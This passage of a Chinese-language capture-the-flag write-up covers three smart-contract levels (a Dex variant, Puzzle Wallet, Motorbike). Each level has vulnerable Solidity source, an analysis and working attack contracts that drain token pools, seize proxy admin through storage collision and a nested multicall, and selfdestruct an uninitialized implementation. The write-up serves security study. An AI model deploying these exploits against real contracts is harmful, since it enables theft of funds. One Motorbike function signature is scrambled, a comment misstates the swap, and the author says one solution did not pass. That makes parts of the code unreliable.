ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
题目要求将合约里的两个 token 数量全部取出,允许自己发行自定义 token
Analyse
本官swap函数没有
require((from == token1 && to == token2) || (from == token2 && to == token1), “Invalid tokens”);
这句话做检查,说明攻击者允许出售任意一个from代币从Dex中获得真正的to代币,可以新的代币合约
那么我们只需要发送一个faketoken到dex合约,我们就可以交换100个faketoken来换回token1,然后重复操作换回token2即可
token1 | token2 | token3 | ||
---|---|---|---|---|
initialize | pool | 100 | 100 | 1 |
player | 10 | 10 | 3 | |
token3->token1: 1 | pool | 0 | 100 | 2 |
player | 100 | 10 | 2 | |
token3->token2: 2 | pool | 0 | 0 | 4 |
player | 100 | 100 | 0 | |
主要是利用价格计算公式 |
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
Attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract EvilToken is ERC20 {
constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
_mint(msg.sender, initialSupply);
}
}
然后对目标合约进行授权以及转账
//注意:在转账后要刷新页面,要不然页面反应不过来
// 定义token变量
const token1 = await contract.token1()
const token2 = await contract.token2()
const token3 = "0xe112b308b78cafc6aee31de26f5331b7a414ec14"// 部署合约的地址
// 分别调用swap方法
await contract.swap(token3,token1,1) // 调用完以后池子里token3的数量为2,所以下次调用需要用两个token2来兑换token2
await contract.swap(token3,token2,2)
// 分别查看执行完池子中token1和token2的数量
(await contract.balanceOf(token1,instance)).toString() => 0
(await contract.balanceOf(token2,instance)).toString() => 0
Puzzle Wallet
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
Analyse
本题要求成为admin。
本题涉及代理合约的知识,简单来说代理合约通过delegatecall来转发逻辑合约的数据。
address public pendingAdmin;
address public admin;
与
address public owner;
uint256 public maxBalance;
对应slot。admin 可以对合约进行升级,proposeAdmin(Address)可以创建管理员,但是只有当前的管理员可以授权新的管理员。
分析逻辑合约与代理合约:
对于代理合约来说,approveNewAdmin可以更新admin,但是要想更新需要满足onlyAdmin限制,即admin == msg.sender。除此之外就没有能更改admin的了。
接着看逻辑合约:
由于是delegatecall调用,所以admin对应maxBalance。要想更改,setMaxBalance函数需要满足白名单,而加入白名单需要,addToWhitelist函数满足msg.sender == owner。对于owner则可以通过更改pendingAdmin,调用proposeNewAdmin函数即可。接下来只须满足address(this).balance==0,而要想满足该条件,则要execute函数。但是其又需要满足balances[msg.sender] >= value,然而本题初始时就设置了balance为0.001ether,而balances的值有需要我们通过deposit函数存入。
所以我们无法清除初始的0.001ether,然后我们分析multicall函数。
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
发现其是一个可以实现多个函数调用的函数,而调用的方法是delegatecall,同时使用函数选择器来阻止deposit的多次调用。这就给了我们可乘之机,通过msg.value在一次交易中只能传递一次,且只要我们在multicall函数中调用deposit和multicall(deposit),此时函数选择器则无法排除multicall(deposit),且depositCalled会更新,
这时我们就实现了一次转账,但是deposit却记录两次。由于我们实际上只发送了0.001 ether,因此合约实际的余额balanace为0.002 ether,此时balances[player]和合约余额数值相等,因此再执行一次execute全部提款即可。然后设置maxBalance。
最后我们设置一个自毁函数selfdestruct(payable(msg.sender)),可以将我们使用的ether转给我们,因此只需要在部署的时候设置为1ether就行。
Attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPuzzle {
function admin() external view returns(address);
function proposeNewAdmin(address _newAdmin) external;
function addToWhitelist(address addr) external;
function deposit() external payable;
function multicall(bytes[] calldata data) external payable;
function execute(address _to, uint256 _value, bytes calldata _data) external payable;
function setMaxBalance(uint256 _maxBalance) external;
}
contract Hack {
constructor(IPuzzle puzzle) payable {
address addresContract = address(this);
// 1. Propose a new admin
puzzle.proposeNewAdmin(addresContract);
// 2. Add the attacker to the whitelist
puzzle.addToWhitelist(addresContract);
// 3. Prepare the multicall payload
bytes[] memory deposit_data = new bytes[](1);
deposit_data[0] = abi.encodeWithSelector(puzzle.deposit.selector);
bytes[] memory data = new bytes[](2);
data[0] = deposit_data[0];
data[1] = abi.encodeWithSelector(puzzle.multicall.selector, deposit_data);
// 4. Execute the multicall with a deposit
puzzle.multicall{value: 0.001 ether}(data);
// 5. Execute the function to drain the contract's balance
puzzle.execute(msg.sender, 0.002 ether, "");
// 6. Set the max balance to the attacker's address
puzzle.setMaxBalance(uint256(uint160(msg.sender)));
// 7. Selfdestruct to send remaining funds to the attacker
selfdestruct(payable(msg.sender));
}
// Fallback function to receive Ether
}
Motorbike
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function (address newImplementation, bytes memory datupgradeToAndCalla) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
Analyse
本题要求是 你能自毁 (selfdestruct) 它的引擎并使摩托车无法使用吗?
初始化实例以后,控制台的contract是指Motorbike合约,通过构造方法我们看到在插槽_IMPLEMENTATION_SLOT的位置部署了一个实现合约,通过读取Storage查看_IMPLEMENTATION_SLOT位置的合约地址。然后再看对应合约地址上upgrader和horsePower发现都是 0。所以可以确定_IMPLEMENTATION_SLOT位置的合约并没有调用initialize进行初始化。
那么我们就可以用自己的合约进行初始化,然后升级合约,用我们自己的合约调用自毁函数。
Attack
pragma solidity <0.7.0;
interface IEngine {
function upgrader() external view returns (address);
function initialize() external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable; // 修正此行
}
contract Hack {
// 合约构造函数
constructor() public {}
function exploit(IEngine target) external {
target.initialize();
target.upgradeToAndCall(address(this), abi.encodeWithSignature("self()"));
}
function self() external {
selfdestruct(msg.sender);
}
}
但是不知道为什么不显示通过。